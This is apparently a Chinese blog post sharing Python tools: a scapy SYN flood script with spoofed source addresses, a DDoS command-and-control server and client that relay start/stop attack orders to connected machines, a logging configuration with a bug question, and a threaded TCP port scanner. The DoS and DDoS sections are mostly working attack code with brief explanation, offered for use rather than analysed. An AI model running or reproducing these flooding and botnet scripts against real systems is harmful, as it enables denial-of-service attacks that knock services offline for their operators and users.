整理github,梳理下Python小工具。以下是python实现的DoS/DDoS/端口扫描器(github)。

一、DoS

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。参考链接:https://baike.so.com/doc/5503756-5739500.html

利用python的scapy库可以很容易的实现DoS攻击。简单来说,scapy就是模拟客户端TCP链接的第一次握手,发送携带syn的数据包给服务端。当服务端返回syn+ack应答时,正常的客户端应该发送携带ack的响应以完成3次握手。而不正常的客户端不再响应,当有数以万记的这样的客户端时,服务器会维护一个非常大的半连接列表而消耗非常大的资源。最后导致堆栈溢出,或是服务端失去响应。

scapy库可以很容易的模拟不同的src来发起连接,所有脚本需要在root下执行。

 1 #!/usr/bin/env python3
 2 import random
 3 from scapy.all import *
 4 
 5 def synFlood(target, dPort):
 6     srcList = ['201.1.1.2','10.1.1.12','69.1.1.2','125.130.5.199']
 7     for sPort in range(1025,65535):
 8         index = random.randrange(4)
 9         ipLayer = IP(src=srcList[index],dst=target)
10         tcpLayer = TCP(sport=sPort,dport=dPort,flags='S')
11         packet = ipLayer/tcpLayer
12         send(packet)

二、DDoS

DDoS相比DoS,不再是一个客户端发起攻击,而是由一台服务器通过socket与多台客户端建立连接,当服务器下发攻击命令时,所有客户端一起向目标机器发起攻击。

1)server部分

服务端首先需要创建socket,绑定端口和网络地址。同时开辟一个线程来建立连接,当有新的连接建立时,把连接实例存放到一个列表中。发送命令时,遍历列表,向每个socket实例发送命令。

 1 # -*- coding:utf-8 -*-
 2 #!/usr/bin/env python3
 3 
 4 import socket
 5 import argparse
 6 from threading import Thread
 7 import logging
 8 import logging.config
 9 logging.config.fileConfig("logger.conf")
10 logger = logging.getLogger("serverLogger")
11 
12 socketList = []#成功建立连接的socket实例列表
13 
14 def sendCmd(cmd):
15     print('Send command...')
16     for sock in socketList:
17         sock.send(bytes(cmd,encoding='utf-8'))
18 
19 
20 def waitConnect(s):
21     while True:
22         sock,addr = s.accept() #sock是已经建立连接的socket 实例
23         if sock not in socketList:
24             socketList.append(sock)
25 
26 
27 def main():
28     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
29     s.bind(('0.0.0.0',58868))
30     s.listen(1024)
31     t = Thread(target=waitConnect,args=(s,))#开辟线程来建立连接
32     t.start()
33 
34     print('Wait at least a client connection')
35     while not len(socketList):
36         pass
37 
38     print('It has been a client connection')
39     
40     while True:
41         print('='*50)
42         print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>"')
43         cmd_str = input('Please input cmd:')
44         if len(cmd_str):
45             if cmd_str[0]=='#':
46                 sendCmd(cmd_str)
47             else:
48                 logging.error('error format!')
49                 logging.error(cmd_str)
50 
51 
52 if __name__=='__main__':
53     main()

2)client部分

client部分主要负责对服务端发送的命令进行解析(argparse模块)。如果命令格式正确,判断当前是否有攻击在执行,如果有,则停止攻击的进程,重新发起攻击;如果没有,则直接发起攻击。

 1 #!/usr/bin/env python3
 2 # -*- coding:utf-8 -*-
 3 
 4 import socket
 5 import sys
 6 import random
 7 import argparse
 8 from multiprocessing import Process
 9 from scapy.all import *
10 import os
11 import logging
12 import logging.config
13 logging.config.fileConfig("logger.conf")
14 logger = logging.getLogger("clientLogger")
15 isWorking = False
16 curProcess = None
17 
18 #synFlood攻击
19 def synFlood(target, dPort):
20     print('='*100)
21     print('The syn Flood is running!')
22     logging.info('The syn Flood is running!')
23     print('='*100)
24     srcList=['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
25     for sPort in range(1025,65535):
26         index = random.randrange(4)
27         ipLayer = IP(src=srcList[index],dst=target)
28         tcpLayer = TCP(sport=sPort,dport=dPort,flags='S')
29         packet = ipLayer/tcpLayer
30         send(packet)
31 
32 
33 #处理命令
34 def cmdHandle(sock, parser):
35     global curProcess
36     while True:
37         data = sock.recv(1024).decode('utf-8')
38         if len(data)==0:
39             print('The data is empty!')
40             logging.error('The data received is empty!')
41             return
42         if data[0]=='#':
43             try:
44                 options = parser.parse_args(data[1:].split())
45                 m_host = options.host
46                 m_port = options.port
47                 m_cmd = options.cmd
48                 if m_cmd.lower()=='start':
49                     if curProcess !=None and curProcess.is_alive():
50                         curProcess.terminate()
51                         curProcess = None
52                         os.system('clear')
53                         logging.info('stop current process to prepare for new process.')
54                     print('The synFlood is start')
55                     logging.info('The synFlood is start')
56                     p = Process(target=synFlood,args=(m_host,int(m_port)))
57                     p.start()
58                     curProcess = p
59                 elif m_cmd.lower() == 'stop':
60                     if curProcess !=None and curProcess.is_alive():
61                         curProcess.terminate()
62                         os.system('clear')
63                         logging.info('stop current process.')
64             except (Exception) as e:
65                 print(e)
66                 print('Failed to perform the command!')
67                 logging.error('command format error.')
68 
69 
70 def main():
71     p = argparse.ArgumentParser()
72     p.add_argument('-H', dest='host',type=str)
73     p.add_argument('-p', dest='port',type=str)
74     p.add_argument('-c', dest='cmd', type=str)
75     print('*'*40)
76     try:
77         s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
78         s.connect(('127.0.0.1',58868))
79         print('To connected server was success!')
80         print('='*40)
81         cmdHandle(s,p)
82     except (Exception) as e:
83         print (e)
84         logging.error(e)
85         print('The network connected failed!')
86         print('Please restart the script')
87         sys.exit(0)
88 
89 
90 if __name__=='__main__':
91     main()

3)日志记录

这里使用Python的logging模块进行记录。存在一个bug,不知道有同学能帮忙看出问题在哪里么?Client模块和Server模块使用了不同的logger,预期分别记录到Client.log和Server.log中。但结果全部都会记录到Server.log中。

logger.conf设置如下:

 1 ###############
 2 [loggers]
 3 keys = root,serverLogger,clientLogger
 4 
 5 [logger_root]
 6 handlers = serverHandler
 7 level = DEBUG
 8 
 9 [logger_serverLogger]
10 handlers = serverHandler
11 qualname = serverLogger
12 propagate = 0
13 
14 [logger_clientLogger]
15 handlers = clientHandler
16 qualname = clientLogger
17 propagate = 0
18 
19 ####################
20 [handlers]
21 keys = serverHandler,clientHandler
22 
23 [handler_serverHandler]
24 class = FileHandler
25 level = DEBUG
26 formatter = serverFormatter
27 args = ("logs/Server.log","a")
28 
29 [handler_clientHandler]
30 class = FileHandler
31 level = DEBUG
32 formatter = clientFormatter
33 args = ("logs/Client.log","a")
34 
35 #################
36 [formatters]
37 keys = serverFormatter,clientFormatter
38 
39 [formatter_serverFormatter]
40 format=%(asctime)s %(filename)s [line:%(lineno)d]  %(levelname)s %(message)s
41 datefmt = %d %b %Y %H:%M:%S
42 
43 [formatter_clientFormatter]
44 format=%(asctime)s %(filename)s [line:%(lineno)d]  %(levelname)s %(message)s
45 datefmt = %d %b %Y %H:%M:%S

三、端口扫描器

端口扫描是指客户端向一定范围内的服务器端口发送对应请求,以此确认可使用的端口。常被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上可运行的服务。

这里使用socket建立对待扫描的端口,建立完成的TCP连接。如果能够建立,说明端口是开放的。判断完毕后关闭连接。使用多线程来执行每一个TCP连接:

 1 #!/usr/bin/env python3
 2 
 3 import sys
 4 import _thread
 5 from socket import *
 6 
 7 def tcp_test(port):
 8     sock = socket(AF_INET,SOCK_STREAM)
 9     sock.settimeout(10)
10     result = sock.connect_ex((target_ip, port))
11     if result==0:
12         lock.acquire()
13         print("Opened Port: ", port)
14         lock.release()
15 
16 if __name__ == '__main__':
17     #scanPort_multi_thread.py <host> <start_port>-<end_port>
18     host = sys.argv[1]
19     portstrs = sys.argv[2].split('-')
20     start_port = int(portstrs[0])
21     end_port = int(portstrs[1])
22     target_ip = gethostbyname(host)
23     lock = _thread.allocate_lock()
24 
25     for port in range(start_port, end_port):
26         _thread.start_new_thread(tcp_test, (port,))

 

版权声明:本文为bluebirid原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/bluebirid/p/8385720.html